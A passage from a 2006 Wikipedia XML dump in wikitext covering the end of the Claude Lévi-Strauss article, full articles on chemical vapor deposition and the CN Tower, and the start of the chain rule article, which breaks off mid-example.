The war years in New York were formative for Lévi-Strauss in several ways.  His relationship with Jakobson helped shape his theoretical outlook (Jakobson and Lévi-Strauss are considered to be two of the central figures on which [[structuralism| structuralist]] thought is based).  In addition, Lévi-Strauss was also exposed to the American [[anthropology]] espoused by [[Franz Boas]], who taught at [[Columbia University]] on New York's [[Upper West Side]].  This gave his early work a distinctive American tilt that helped facilitate its acceptance in the U.S.  After a brief stint from [[1946]] to [[1947]] as a cultural attaché to the French embassy in [[Washington, DC]], Lévi-Strauss returned to Paris in [[1948]].  It was at this time that he received his [[doctorate]] from the [[Collège de Sorbonne|Sorbonne]] by submitting, in the French tradition, both a &quot;major&quot; and a &quot;minor&quot; thesis. These were ''The Family and Social Life of the Nambikwara Indians'' and ''The Elementary Structures of Kinship''.

''The Elementary Structures of Kinship'' was published the next year and instantly came to be regarded as one of the most important works of anthropological [[kinship]] to be published and was even reviewed favorably by [[Simone de Beauvoir]], who viewed it as an important statement of the position of women in non-western cultures.  A play on the title of [[Émile Durkheim]]'s famous ''Elementary Forms of the Religious Life'', ''Elementary Structures'' re-examined how people organized their families by examining the logical structures that underlay relationships rather than their contents.  While British anthropologists such as [[Alfred Reginald Radcliffe-Brown]] argued that kinship was based on ''descent'' from a common ancestor, Lévi-Strauss argued that kinship was based on the ''alliance'' between two families that formed when women from one group married men from the other.

Throughout the late 1940s and early 1950s, Lévi-Strauss continued to publish and experienced considerable professional success.  On his return to France, he became involved with the administration of the [[CNRS]] and the [[Musée de l'Homme]] before finally becoming chair of fifth section of the [[École Pratique des Hautes Études]], the 'Religious Sciences' section previously chaired by [[Marcel Mauss]], which he renamed &quot;Comparative Religion of Non-Literate Peoples&quot;.

While Lévi-Strauss was well-known in academic circles, it was in 1955 that he became one of France's best known intellectuals by publishing ''Tristes Tropiques''.  This book was essentially a travel novel detailing his time as a French expatriate throughout the 1930s.  But Lévi-Strauss combined exquisitely beautiful prose, dazzling philosophical meditation, and ethnographic analysis of Amazonian peoples to produce a masterpiece.  The organizers of the [[Prix Goncourt]], for instance, lamented that they were not able to award Lévi-Strauss the prize because ''Tristes Tropiques'' was technically non-fiction.

Lévi-Strauss was named to a chair in Social Anthropology at the [[Collège de France]] in 1959.  At roughly the same time he published ''Structural Anthropology'', a collection of his essays which provided both examples and programmatic statements about [[structuralism]].  At the same time as he was laying the groundwork for an intellectual program, he began a series of institutions for establishing anthropology as a discipline in France, including the Laboratory for Social Anthropology where new students could be trained, and a new journal, ''l'Homme'', for publishing the results of their research.

In 1962 Lévi-Strauss published what is for many people his most important work, ''Pensée Sauvage''. The title is a pun untranslatable in English &amp;mdash; in English the book is known as ''The Savage Mind'', but this title fails to capture the other possible French meaning of 'Wild [[Pansy| Pansies]]'. In French pensée means both 'thought' and 'pansy,' the flower, while sauvage means 'wild' as well as 'savage' or 'primitive'. The book concerns primitive thought, forms of thought we all use. (Lévi-Strauss suggested the English title be ''Pansies for Thought'', riffing off of a speech by [[Ophelia (character)|Ophelia]] in [[Hamlet]].)  The French edition to this day retains a flower on the cover.

The first half of the book lays out Lévi-Strauss's [[culture theory|theory of culture]] and mind, while the second half expands this account into a theory of history and social change.  This part of the book engaged Lévi-Strauss in a heated debate with [[Jean-Paul Sartre]] over the nature of human freedom.  On the one hand, Sartre's [[existentialism| existentialist]] philosophy committed him to a position that human beings were fundamentally free to act as they pleased.  On the other hand, Sartre was also a leftist who was committed to the idea that, for instance, individuals were constrained by the ideologies imposed on them by the powerful.  Lévi-Strauss presented his structuralist notion of agency in opposition to Sartre.  Echoes of this debate between [[structuralism]] and [[existentialism]] would eventually inspire the work of younger authors such as [[Pierre Bourdieu]]. 

Now a world-wide celebrity, Lévi-Strauss spent the second half of the 1960s working on his master project, a four-volume study called ''Mythologiques''.  In it, Lévi-Strauss took a single myth from the tip of [[South America]] and followed all of its variations from group to group up through [[Central America]] and eventually into the [[Arctic circle]], thus tracing the myth's spread from one end of the American continent to the other.  He accomplished this in a typically structuralist way, examining the underlying structure of relationships between the elements of the story rather than by focusing on the content of the story itself.  While ''Pensée Sauvage'' was a statement of Lévi-Strauss's big-picture theory, ''Mythologiques'' was an extended, four-volume example of analysis.  Richly detailed and extremely long, it is less widely read than the much shorter and more accessible ''Pensée Sauvage'' despite its position as Lévi-Strauss's master work.

After completing the final volume of ''Mythologique'' in 1971 Lévi-Strauss was elected to the [[Académie Française]] in 1973, France's highest honor for an intellectual.  He is also a member of other notable [[Academy|Academies]] worldwide, including the [[American Academy of Arts and Letters]].  He also received the [[Erasmus Prize]] in 1973.  In 2003 he received the [[Meister-Eckhart-Prize]] for Philosophy.  He has received several honorary doctorates from universities such as [[University_of_Oxford|Oxford]], [[Harvard]], and [[Columbia_University|Columbia]].  He is also a recipient of the [[Grand-croix de la Légion d'honneur]], and is a [[Commandeur de l'ordre national du Mérite]] and [[Commandeur des Arts et des Lettres]].  Although retired, he continues to publish occasional meditations on art, music and poetry, as well as interviews and reminiscences of earlier periods of his life.

==Anthropological theories==
Lévi-Strauss' theories are set forth in ''Structural Anthropology'' ([[1958]]). Briefly, he considers culture a system of symbolic communication, to be investigated with methods that others have used more narrowly in the discussion of novels, political speeches, sports, and movies.

His reasoning makes best sense against the background of an earlier generation's social theory. He wrote about this relationship for decades.

A preference for &quot;functionalist&quot; explanations dominated the social sciences from the turn of the century through the [[1950s]], which is to say that anthropologists and sociologists tried to state what a social act or institution was for. The existence of a thing was explained if it fulfilled a function. The only strong alternative to that kind of analysis was historical explanation, accounting for the existence of a social fact by saying how it came to be.

However, the idea of social function developed in two different ways. The English anthropologist [[Alfred Reginald Radcliffe-Brown]], who had read and admired the work of the French sociologist [[Émile Durkheim]], argued that the goal of anthropological research was to find the collective function, what a religious creed or a set of rules about marriage did for the social order as a whole. At back of this approach was an old idea, the view that civilization developed through a series of phases from the primitive to the modern, everywhere the same. All of the activities in a given kind of society would partake of the same character; some sort of internal logic would cause one level of culture to evolve into the next. On this view, a society can easily be thought of as an organism, the parts functioning together like parts of a body.

The more influential functionalism of [[Bronislaw Malinowski]] described the satisfaction of individual needs, what a person got out of participating in a custom.

In the United States, where the shape of anthropology was set by the German-educated [[Franz Boas]], the preference was for historical accounts. This approach had obvious problems, which Lévi-Strauss praises Boas for facing squarely.

Historical information is seldom available for non-literate cultures. The anthropologist fills in with comparisons to other cultures and is forced to rely on theories that have no evidential basis whatever, the old notion of universal stages of development or the claim that cultural resemblances are based on some untraced past contact between groups. Boas came to believe that no overall pattern in social development could be proven; for him, there was no history, only histories.

There are three broad choices involved in the divergence of these schools &amp;#8211; each had to decide what kind of evidence to use; whether to emphasize the particulars of a single culture or look for patterns underlying all societies; and what the source of any underlying patterns might be, the definition of a common humanity.

Social scientists in all traditions relied on cross-cultural studies. It was always necessary to supplement information about a society with information about others. So some idea of a common human nature was implicit in each approach.

The critical distinction, then, remained: does a social fact exist because it is functional for the social order or because it is functional for the person? Do uniformities across cultures occur because of organizational needs that must be met everywhere or because of the uniform needs of human personality?

For Lévi-Strauss, the choice was for the demands of the social order. He had no difficulty bringing out the inconsistencies and triviality of individualistic accounts. Malinowski said, for example, that magic beliefs come into being when people need to feel a sense of control over events where the outcome was uncertain. In the [[Trobriand Islands]], he found the proof of this claim in the rites surrounding abortions and weaving skirts. But in the same tribes, there is no magic attached to making clay pots even though it is no more certain a business than weaving. So the explanation is not consistent. Furthermore, these explanations tend to be used in an ad hoc, superficial way &amp;#8211; you just postulate a trait of personality when you need it.

But the accepted way of discussing organizational function didn't work either. Different societies might have institutions that were similar in many obvious ways and yet served different functions. Many tribal cultures divide the tribe into two groups and have elaborate rules about how the two groups can interact. But exactly what they can do &amp;#8211; trade, intermarry &amp;#8211; is different in different tribes; for that matter, so are the criteria for distinguishing the groups.

Nor will it do to say that dividing-in-two is a universal need of organizations, because there are a lot of tribes that thrive without it.

For Lévi-Strauss, the methods of [[linguistics]] became a model for all his earlier examinations of society. His analogies are usually from [[phonology]] (though also later from music, mathematics, [[chaos theory]], [[cybernetics]] and so on).

&quot;A truly scientific analysis must be real, simplifying, and explanatory,&quot; he says (in ''Structural Anthropology''). Phonemic analysis reveals features that are real, in the sense that users of the language can recognize and respond to them. At the same time, a phoneme is an abstraction from language &amp;#8211; not a sound, but a category of sound defined by the way it is distinguished from other categories through rules unique to the language. The entire sound-structure of a language can be generated from a relatively small number of rules.

In the study of the kinship systems that first concerned him, this ideal of explanation allowed a comprehensive organization of data that had been partly ordered by other researchers. The overall goal was to find out why family relations differed in different South American cultures. The father might have great authority over the son in one group, for example, with the relationship rigidly restricted by taboos. In another group, the mother's brother would have that kind of relationship with the son, while the father's relationship was relaxed and playful.

A number of partial patterns had been noted. Relations between the mother and father, for example, had some sort of reciprocity with those of father and son &amp;#8211; if the mother had a dominant social status and was formal with the father, for example, then the father usually had close relations with the son. But these smaller patterns joined together in inconsistent ways.

One possible way of finding a master order was to rate all the positions in a kinship system along several dimensions. For example, the father was older than the son, the father produced the son, the father had the same sex as the son, and so on; the matrilineal uncle was older and of the same sex but did not produce the son, and so on. An exhaustive collection of such observations might cause an overall pattern to emerge.

But for Lévi-Strauss, this kind of work was &quot;analytical in appearance only.&quot; It results in a chart that is far harder to understand than the original data and is based on arbitrary abstractions (empirically, fathers are older than sons, but it is only the researcher who declares that this feature explains their relations). Furthermore, it doesn't explain anything. The explanation it offers is tautological &amp;#8211; if age is crucial, then age explains a relationship. And it does not offer the possibility of inferring the origins of the structure.

A proper solution to the puzzle is to find a basic unit of kinship which can explain all the variations. It is a cluster of four roles--brother, sister, father, son. These are the roles that must be involved in any society that has an incest taboo requiring a man to obtain a wife from some man outside his own hereditary line. A brother can give away his sister, for example, whose son might reciprocate in the next generation by allowing his own sister to marry exogenously. The underlying demand is a continued circulation of women to keep various clans peacefully related.

Right or wrong, this solution displays the qualities of structural thinking. Even though Lévi-Strauss frequently speaks of treating culture as the product of the axioms and corollaries that underlie it, or the phonemic differences that constitute it, he is concerned with the objective data of field research. He notes that it is logically possible for a different atom of kinship structure to exist &amp;#8211; sister, sister's brother, brother's wife, daughter &amp;#8211; but there are no real-world examples of relationships that can be derived from that grouping. 

The purpose of structuralist explanation is to organize real data in the simplest effective way. All science, he says, is either structuralist or reductionist. In confronting such matters as the incest taboo, one is facing an objective limit of what the human mind has so far accepted. One could hypothesize some biological imperative underlying it, but so far as social order is concerned, the taboo has the effect of an irreducible fact. The social scientist can only work with the structures of human thought that arise from it. 

And structural explanations can be tested and refuted. A mere analytic scheme that wishes causal relations into existence is not structuralist in this sense.

Lévi-Strauss' later works are more controversial, in part because they impinge on the subject matter of other scholars. He believed that modern life and all history was founded on the same categories and transformations that he had discovered in the Brazilian back country &amp;#8211; ''[[The Raw and the Cooked]], [[From Honey to Ashes]], [[The Naked Man]]'' (to borrow some titles from the ''Mythologies''). For instance he compares anthropology to musical [[serialism]] and defends his &quot;philosophical&quot; approach. He also pointed out that the modern view of primitive cultures was simplistic in denying them a history. The categories of myth did not persist among them because nothing had happened &amp;#8211; it was easy to find the evidence of defeat, [[Migration (human)|migration]], exile, repeated displacements of all the kinds known to recorded history. Instead, the mythic categories had encompassed these changes.

He argued for a view of human life as existing in two timelines simultaneously, the eventful one of history and the long cycles in which one set of fundamental mythic patterns dominates and then perhaps another. In this respect, his work resembles that of [[Fernand Braudel]], the [[historian]] of the Mediterranean and 'la longue durée,' the cultural outlook and forms of social organization that persisted for centuries around that sea.

== Selected bibliography ==
*''Les Structures élémentaires de la parenté'' (1949, The Elementary Structures of Kinship, ed. *Rodney Needham, trans. J. H. Bell, J. R. von Sturmer, and Rodney Needham, 1969)
*''Race et histoire'' (1952, [[UNESCO]]; Race and History)
*''Tristes tropiques'' (1955, trans. John Weightman and Doreen Weightman, 1973)
*''Anthropologie structurale'' (1958, Structural Anthropology, trans. Claire Jacobson and Brooke Grundfest Schoepf, 1963)
*''Le Totemisme aujourdhui'' (1962, Totemism, trans. Rodney Needham, 1963)
*''La Pensée sauvage'' (1962, The Savage Mind, 1966)
*''Mythologiques I-IV'' (trans. John Weightman and Doreen Weightman
**''Le Cru et le cuit'', 1964, The Raw and the Cooked, 1969
**''Du miel aux cendres'', 1966, From Honey to Ashes, 1973
**''L'Origine des manières de table'', 1968, The Origin of Table Manners, 1978
**''L'Homme nu'', 1971, The Naked Man, 1981)
*''Anthropologie structurale deux'' (1973, Structural Anthropology, Vol. II, trans. M. Layton, 1976)
*''La Voie des masques'' (1972, The Way of the Masks, trans. Sylvia Modelski, 1982)
*''Paroles donnés'' (1984, Anthropology and Myth: Lectures, 1951-1982, trans. Roy Willis, 1987)
*''Le Regard éloigne'' (1983, The View from Afar, trans. Joachim Neugroschel and Phoebe Hoss, 1985)
*''La Potière jalouse'' (1985, The Jealous Potter, trans. Bénédicte Chorier, 1988)
*''Histoire de lynx'' (1991)
*''Regarder, écouter, lire'' (1993, Look, Listen, Read trans. Brian Singer, 1997)

==See also ==
*[[Evolutionary Principle]]
*[[structural anthropology]]
*[[structuralism]]

== External links ==
{{wikiquote}}

*[http://sunsite.berkeley.edu/VideoTest/levi.ram Lecture: The Birth of Historical Societies (Hitchcock Lectures), October 3 and 4, 1984, UC Berkeley (online audio file)]
*[http://www.press.jhu.edu/books/hopkins_guide_to_literary_theory/claude_levi-strauss.html Overview, in The Johns Hopkins Guide to Literary Theory]
*[http://www.academie-francaise.fr/immortels/base/academiciens/fiche.asp?param=647 Claude Lévi-Strauss' profile on the Académie française site]
*[http://www.egwald.com/ubcstudent/aboriginal/exchanges.php Linguistic and Commodity Exchanges] by Elmer G. Wiens.  Examines the structural differences between barter and monetary commodity exchanges and oral and written linguistic exchanges. 

{{start box}}
{{succession box | title= [[List of members of the Académie française#Seat 29|Seat 29]]&lt;br&gt;[[Académie française]] | years=1973&amp;ndash; | before  = [[Henry de Montherlant]] | after  = Incumbent}}
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[[Category:1908 births|Levi-Strauss, Claude]]
[[Category:20th century philosophers|Levi-Strauss, Claude]]
[[Category:Continental philosophers|Levi-Strauss, Claude]]
[[Category:Erasmus Prize winners|Levi-Strauss, Claude]]
[[Category:French anthropologists|Levi-Strauss, Claude]]
[[Category:French philosophers|Levi-Strauss, Claude]]
[[Category:Living people|Levi-Strauss, Claude]]
[[Category:Members and associates of the US National Academy of Sciences|Levi-Strauss, Claude]]
[[Category:Members of the Académie française|Levi-Strauss, Claude]]
[[Category:Social philosophy|Levi-Strauss, Claude]]
[[Category:Structuralism|Levi-Strauss, Claude]]

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[[zh:克勞德·李維史陀]]</text>
    </revision>
  </page>
  <page>
    <title>Chemical vapor deposition</title>
    <id>6111</id>
    <revision>
      <id>41235143</id>
      <timestamp>2006-02-25T23:43:53Z</timestamp>
      <contributor>
        <username>Shadow1</username>
        <id>690159</id>
      </contributor>
      <comment>Fixed link to disambiguation page</comment>
      <text xml:space="preserve">[[Image:PICT0111.JPG|thumb|right|200px|[[direct current|DC]] [[plasma physics|plasma]] (violet) enhances the growth of [[carbon nanotube]]s in this laboratory-scale PECVD apparatus.]]

'''Chemical vapor deposition (CVD)''' is a [[chemical]] process for depositing thin films of various materials.  In a typical CVD process the [[substrate]] is exposed to one or more volatile [[precursor]]s, which react and/or [[decompose]] on the substrate surface to produce the desired deposit. Frequently, volatile [[byproduct]]s are also produced, which are removed by gas flow through the reaction chamber.

CVD is widely used in the [[semiconductor]] industry, as part of the [[Fabrication (semiconductor)|semiconductor device fabrication]] process, to deposit various films including: [[polycrystalline]], [[amorphous]], and [[Epitaxy|epitaxial]] [[silicon]], [[Silicon dioxide|SiO&lt;sub&gt;2&lt;/sub&gt;]], [[silicon]] [[germanium]], [[tungsten]], [[silicon]] [[nitride]], [[silicon]] oxynitride, [[titanium]] [[nitride]], and various [[High-k | high-k dielectrics]]. The CVD process is also used to produce [[synthetic diamond]]s.

A number of forms of CVD are in wide use and are frequently referenced in the literature.

*'''Atmospheric pressure CVD''' (APCVD) - CVD processes at atmospheric pressure.

*'''Atomic layer CVD''' (ALCVD) (also referred to as [[Atomic layer epitaxy | Atomic Layer Epitaxy]] and Atomic layer deposition (ALD)) - A CVD process in which two complementary precursors (eg. [[Trimethylaluminium|Al(CH&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;3&lt;/sub&gt;]] and H&lt;sub&gt;2&lt;/sub&gt;O) are alternatively introduced into the reaction chamber. Typically, one of the precursors will adsorb onto the substrate surface, but cannot completely decompose without the second precursor.  The precursor [[adsorbs]] until it [[saturate]]s the surface and further growth cannot occur until the second precursor is introduced. Thus the film thickness is controlled by the number of precursor cycles rather than the deposition time as is the case for conventional CVD processes.  In theory ALCVD allows for extremely precise control of film thickness and uniformity.

*'''Aerosol Assisted CVD''' (AACVD) - A CVD process in which the precursors are transported to the substrate by means of a liquid/gas aerosol, which can be generated ultrasonically. This technique is suitable for use with involatile precursors.

*'''Hot Wire CVD''' (HWCVD) - Also known as Catalytic CVD (Cat-CVD)or Hot Filament CVD (HFCVD)

*'''Low-pressure CVD''' (LPCVD) - CVD processes at subatmospheric pressures.  Reduced pressures tend to reduce unwanted gas phase reactions and improve film uniformity across the wafer.  Most modern CVD process are either LPCVD or UHVCVD.

*'''[[Metalorganic vapour phase epitaxy|Metal-organic CVD]]''' (MOCVD) - CVD processes based on metal-organic precursors, such as [[Tantalum]] Ethoxide, Ta(OC&lt;sub&gt;2&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;)&lt;sub&gt;5&lt;/sub&gt;, to create Ta&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;5&lt;/sub&gt;, '''T'''etra '''D'''i'''m'''ethyl '''a'''mino '''T'''itanium (or TDMAT) to create TiN. MOCVD is also called as MO[[Molecular beam epitaxy|MBE]] when it is under ultra-high [[vacuum]].

*'''Microwave plasma-assisted CVD''' (MPCVD)

*'''[[Plasma-Enhanced CVD]]''' (PECVD) - CVD processes that utilize a [[Plasma (physics)|plasma]] to enhance chemical reaction rates of the precursors.  PECVD processing allows deposition at lower temperatures, which is often critical in the manufacture of semiconductors. See also [[Plasma processing]].

*'''Rapid thermal CVD''' (RTCVD) - CVD processes that use heating lamps or other methods to rapidly heat the [[Wafer (electronics)|wafer substrate]].  Heating only the substrate rather than the gas or chamber walls helps reduce unwanted gas phase reactions that can lead to [[particle_(ecology)|particle]] formation.

*'''Remote plasma-enhanced CVD''' (RPECVD) - Similar to PECVD except that the wafer substrate is not directly in the plasma discharge region.  Removing the wafer from the plasma region allows processing temperatures down to room temperature.

*'''Ultra-high vacuum CVD''' (UHVCVD) - CVD processes at very low pressures, typically in the range of a few to a hundred [[millitorr]]s (1 to 10 [[pascal]]s.

*Polysilicon deposition
*TEOS deposition

== Silicon or silicon germanium [[epitaxy]] ==

Common use in industry is the growth of additional layers of [[Doping (Semiconductors) | doped]] [[silicon]] on the polished sides of prime silicon [[Wafer (electronics) | wafers]], before they are processed into [[semiconductor]] devices. This is typical of the [[power device]]s, such as those used in [[pacemaker]]s, vending machine controllers, automobile computers, etc.

Commonly, this is accomplished by either single or batch wafer processing using CVD in an [[epitaxial reactor]], which heats the wafers, etches the exposed face with [[hydrogen chloride]] gas, and then grows the epitaxial layers by flowing a gas mixture that contains silicon and a [[dopant]] over the wafer which is so hot that it glows. The gaseous molecules deposit on the face, if done properly, and extend the crystalline structure. 

Manufacturing issues include control of the amount and uniformity of the deposition's resistivity and thickness, the cleanliness and purity of the surface and the chamber atmosphere, the prevention of the typically much more highly doped substrate wafer's diffusion of dopant to the new layers, imperfections of the growth process, and protecting the surfaces during the manufacture and handling.

==See also==
* [[Plasma physics|Plasma]]
* [[Physical_vapor_deposition|Physical vapor deposition]]

==External links==
* http://www.semiconfareast.com/epitaxy.htm

[[Category:Plasma processing]]
[[Category:Semiconductor device fabrication]]
[[Category:Chemical processes]]
[[Category:Thin film deposition]]

[[de:Chemical vapor deposition]]
[[nl:CVD-proces]]
[[ja:化学気相成長]]
[[zh:化学气相沉积]]</text>
    </revision>
  </page>
  <page>
    <title>CN Tower</title>
    <id>6112</id>
    <revision>
      <id>42141155</id>
      <timestamp>2006-03-04T02:19:58Z</timestamp>
      <contributor>
        <username>Skeezix1000</username>
        <id>455783</id>
      </contributor>
      <comment>Revert to Canadian spelling</comment>
      <text xml:space="preserve">[[Image:Cntower2.jpg|thumb|210px|right|CN Tower as seen from Lake Ontario]]

The '''CN Tower''' is the tallest free-standing structure on land in the world, at [[1 E2 m|553.33]] [[metre]]s (1,815 ft., 5 inches). It is located in the [[city]] of [[Toronto]], [[Ontario]], [[Canada]], and is considered the signature icon of the city ([[Geographic coordinates]]: {{coor dms|43|38|33.24|N|79|23|13.7|W|}}). The CN Tower attracts over two million visitors annually.

Construction on the CN Tower started on [[February 6]], [[1973]] by [[Canadian National Railway]] who wanted to build a large TV and radio communication platform to service the Greater Toronto Area and also to demonstrate the strength of Canadian industry. Key project team members were NCK Engineering as structural engineer; John Andrews Architects; Webb, Zerafa, Menkes, Housden Architects; Foundation Building Construction and Canron (Eastern Structural Division). The project proceeded 24 hours a day, five days a week for 40 months with 1,537 workers involved in the project, finally opening to the public on June 26, 1976. The structure's microwave receivers for distant signals are housed at 338 metres, and the top of the transmission antenna is at the apex of the tower.  The construction costs of approximately $300 million 2005 Canadian Dollars (approximately $260 million 2005 U.S. Dollars) were repaid in fifteen years.

A metal staircase with 1,776 steps reaches the Sky Pod level (447m/1465ft/147 stories) and is the tallest metal staircase on earth. These stairs are intended for emergency use and are not open to the public, except for twice a year for charity stairclimb events: around [[Earth Day]] in the spring by the [[World Wildlife Fund]]; and in the fall by the [[United Way]]'s Toronto chapter. The average climber takes approximately 30 minutes to climb to the base of the radome (the white ring around the bottom of the main pod), but the fastest climb on record is 7 minutes 52 seconds.

[[Image:Cntower_unfinished.jpg|thumb|200px|right|CN Tower under construction in 1976]]
''CN'' is the official acronym of the Canadian National Railway, but following the railway's decision to divest non-core freight railway assets during the lead-up to the company's privatization in [[1995]], the CN Tower was transferred to the [[Canada Lands Company]] (CLC), a federal [[Crown corporation]] responsible for [[real estate]] development.  Since the citizens of Toronto wished to retain the name ''CN Tower'', the acronym ''CN'' now officially stands for ''Canada's National'' rather than the original ''Canadian National''.
[[Image:CNTowerLookingStraightUp.JPG|thumb|180px|left|CN Tower, looking directly up from ground level]]

From [[1997]] to [[January 2004]], [[TrizecHahn Corporation]] managed the building and instituted several expansion projects including a $26 million entertainment expansion and revitalization that included the addition of two new elevators (to a total of six) and the relocation of the staircase from the cityside (north side) shaft to inside the core of the building.

At 342 m (1,122 feet) is the [[glass floor|Glass Floor]] and Outdoor Observation Deck, the Glass Floor is 23.8 square meters (256 square ft.) and can withstand the weight of 4,137 kPa (600 pounds per square inch) or 14 large [[hippopotami]].

At 346 m (1,136 feet) is the Horizons Cafe and the Indoor Observation Deck, and at 351 m (1,150 feet) is the 360 Restaurant, which rotates once every 72 minutes. The restaurant has a minimum purchase requirement and a vast wine selection.

[[Image:Toronto-Canada-skyline-night.jpg|thumb|250px|right|Toronto Skyline at night]]
The Space Deck, a small enclosed platform elevated high above the main observation floor, is located at 447 m (1,465 feet), and is the highest public observation deck in the world. From its top, it's possible on a clear day to see approximately 100-120km away and even see an outline of the city of [[Rochester, New York|Rochester]] across [[Lake Ontario]] in the [[United States]].

==Size comparisons==
In [[1995]], the CN Tower was declared one of the modern [[Seven Wonders of the World#Modern Wonders|Seven Wonders of the World]] by the [[American Society of Civil Engineers]]. It also belongs to the [[World Federation of Great Towers]]. The following year, the [[Guinness Book of World Records]] officially changed the CN Tower's classification to &quot;World's Tallest Building and Free-Standing Structure&quot; and it retains that title to this day.

There are also many guyed towers taller than the CN Tower, the current tallest being the [[KVLY-TV mast|KVLY-TV tower]] in [[North Dakota]] at 628 m (2,063 feet) tall (see [[List of masts]]), but these are guy-wire supported structures and not classified as free-standing. The [[Petronius Compliant Tower]] (an [[oil platform]]) at 645 m (2,116 feet), is a taller free-standing structure, however all but its top is under water. If built, a 1,000 m tower for a solarthermic power station in Australia will break the record. The [[Burj Dubai]], slated for completion in [[2008]], would according to present claims by its developers, also become a taller free-standing land structure than CN Tower. See [[World's tallest structures]] for further analysis of the tallest man-made structures.

The builders of the CN Tower did not expect that it would hold the tallest structure record for twenty-nine years. Previous record holders had quickly been supplanted. Several rivals have been proposed and most schemes collapsed. In part this is because of the development of cable television soon after the tower was built which greatly reduced the need for such broadcasting centres, especially in urban areas. Only in cities are there enough tourists to make such a tower viable as a tourist attraction.

==Trivia==
*The CN Tower is 20 meters taller than [[Moscow]]'s [[Ostankino Tower]].
*The CN Tower is struck by lightning over 76 times a year.
*The CN Tower has a wind tolerance level of 420km/h (260 mph).
*The elevators go at over 22km/h (15 mph) taking 58 seconds and 61 seconds to reach the Lookout (indoor observation deck) and 360 restaurant levels respectively.
*The CN Tower is almost twice as tall as the [[Eiffel Tower]].
*It is the tallest member of the [[World Federation of Great Towers]].
*The Glass Floor can withstand a weight of 600lbs per sq inch (109 kg per sq cm) or the equivalent to 14 adult [[hippopotami]].
*In winds of 120mph the tower sways 1.07 m (3 1/2 ft) from centre at the Antenna, 0.46 m (1 1/2 ft) from centre at the SkyPod, and 22.9 cm (9 inches) from centre at the Main Pod.
*A [[Sikorsky Aircraft Corporation|Sikorsky]] [[Sikorsky Skycrane|skycrane]] [[helicopter]] nicknamed 'Olga' was used to lower the communications antenna into place on the tower.
*The CN Tower is able to withstand an earthquake of 8.5 on the Richter Scale.
*In 1979, Norman Alexander and Joe Squire hauled a 440 lb. piano up the stairs in 7 1/2 hours.
*On [[July 23]], [[1999]] [[Ashrita Furman]] became the fastest person to go up the CN Tower using a [[Pogo stick]].
*In 2001, a group of [[environmentalist]]s illegally scaled the tower to place a banner protesting the policies of [[United States]] [[President of the United States of America|President]] [[George W. Bush]] on the tower.
*The tower is the only [[landmark]] from Canada that appears in the [[City-building game|city-building]]/[[simulation]] [[computer game]]s ''[[SimCity 3000]]'' and ''[[SimCity 4]]''.
*The amount of cement used in the CN Tower is enough to build a sidewalk from Toronto to [[Kingston, Ontario|Kingston]] (about 250 km away)

==See also==
* [[List of towers]]
* [[List of masts]]
* [[List of skyscrapers]]
* [[Tallest structures in Canada]]

==External links==
* [http://www.cntower.ca/ Official site of the CN tower]
* [http://www.guinnessworldrecords.com/content_pages/record.asp?recordid=49675 Guinness entry for the CN Tower]
* [http://www.xs4all.nl/~hnetten/tallest.html What is the tallest building in the world?]
* [http://maps.google.ca/maps?ll=43.641987,-79.387110&amp;spn=0.005891,0.005789&amp;t=k&amp;hl=en  Google Satellite Image]
* [http://www.googleearthhacks.com/dlfile567/CN-Tower---Toronto,-Canada.htm Google Earth placemark file for the CN tower]
{{Toronto landmarks}}
{{Supertall}}

[[Category:Towers in Canada]]
[[Category:Buildings and structures in Toronto]]


[[de:CN Tower]]
[[es:Torre CN]]
[[Fa:برج ملی کانادا]]
[[fi:CN Tower]]
[[fr:Tour CN]]
[[io:Turmo nacionala di Kanada]]
[[he:מגדל סי אן]]
[[nl:CN Tower]]
[[ja:CNタワー]]
[[pl:CN Tower]]
[[pt:Torre CN]]
[[sv:CN Tower]]
[[vi:Tháp CN]]
[[ta:சி.என் கோபுரம்]]
[[zh:加拿大国家电视塔]]</text>
    </revision>
  </page>
  <page>
    <title>Chain rule</title>
    <id>6113</id>
    <revision>
      <id>40252078</id>
      <timestamp>2006-02-19T06:29:22Z</timestamp>
      <contributor>
        <ip>129.78.228.114</ip>
      </contributor>
      <comment>/* Higher derivatives */ added fourth derivative</comment>
      <text xml:space="preserve">{{Calculus}}

In [[calculus]], the '''chain rule''' is a [[formula]] for the [[derivative]] of the composition of two [[function (mathematics)|function]]s. 

In intuitive terms, if a [[variable]], ''y'', depends on a second variable, ''u'', which in turn depends on a third variable, ''x''; then, the rate of [[change]] of ''y'' with respect to ''x'' can be [[computation|computed]] as the [[product (mathematics)|product]]  of the rate of change of ''y'' with respect to ''u'' [[multiplication|multiplied by]] the rate of change of ''u'' with respect to ''x''.

Suppose, for example, that one is climbing a mountain at a rate of 0.5 [[kilometre per hour|kilometres per hour]]. The [[temperature]] is lower at higher elevations; suppose the rate by which it decreases is 6 °F per kilometre. If one multiplies 6 °F per kilometre by 0.5 kilometre per hour, one obtains 3 °F per hour. This calculation is a typical chain rule application.

In [[algebra|algebraic]] terms, the '''chain rule''' (of one variable) states that if the function ''f'' is [[differentiable]] at ''g''(''x'') and the function ''g'' is differentiable at ''x'', that is we have &lt;math&gt;f \circ g = f(g(x))&lt;/math&gt;. Then

:&lt;math&gt;
 \frac {df} {dx} = \frac {d} {dx} f(g(x)) = f'(g(x)) g'(x).
&lt;/math&gt;

Alternatively, in [[Leibniz notation]], the chain rule can be expressed as: 
:&lt;math&gt;
\frac {df}{dx} = \frac {df} {dg} \frac {dg}{dx}
&lt;/math&gt;
where &lt;math&gt;\frac {df} {dg}&lt;/math&gt; indicates ''f'' depends on ''g'' as if it were a variable.

In [[Integral|integration]], the counterpart to the chain rule is the [[substitution rule]].

==The general power rule==

The [[Calculus with polynomials|general power rule]] (GPR) is derivable, via the Chain Rule.

===Example I===
Consider &lt;math&gt;f(x) = (x^2 + 1)^3&lt;/math&gt;. &lt;math&gt;f(x)&lt;/math&gt; is comparable to &lt;math&gt;h(g(x))&lt;/math&gt; where &lt;math&gt;g(x) = x^2 + 1&lt;/math&gt; and &lt;math&gt;h(x) = x^3&lt;/math&gt;; thus,

:{|
|-
|&lt;math&gt;f'(x) &lt;/math&gt;
|&lt;math&gt;= 3(x^2 + 1)^2(2x) &lt;/math&gt;
|-
|
|&lt;math&gt;= 6x(x^2 + 1)^2.&lt;/math&gt;
|}

===Example II===
In order to differentiate the [[trigonometric functions|trigonometric]] function
:&lt;math&gt;f(x) = \sin(x^2),&lt;/math&gt;
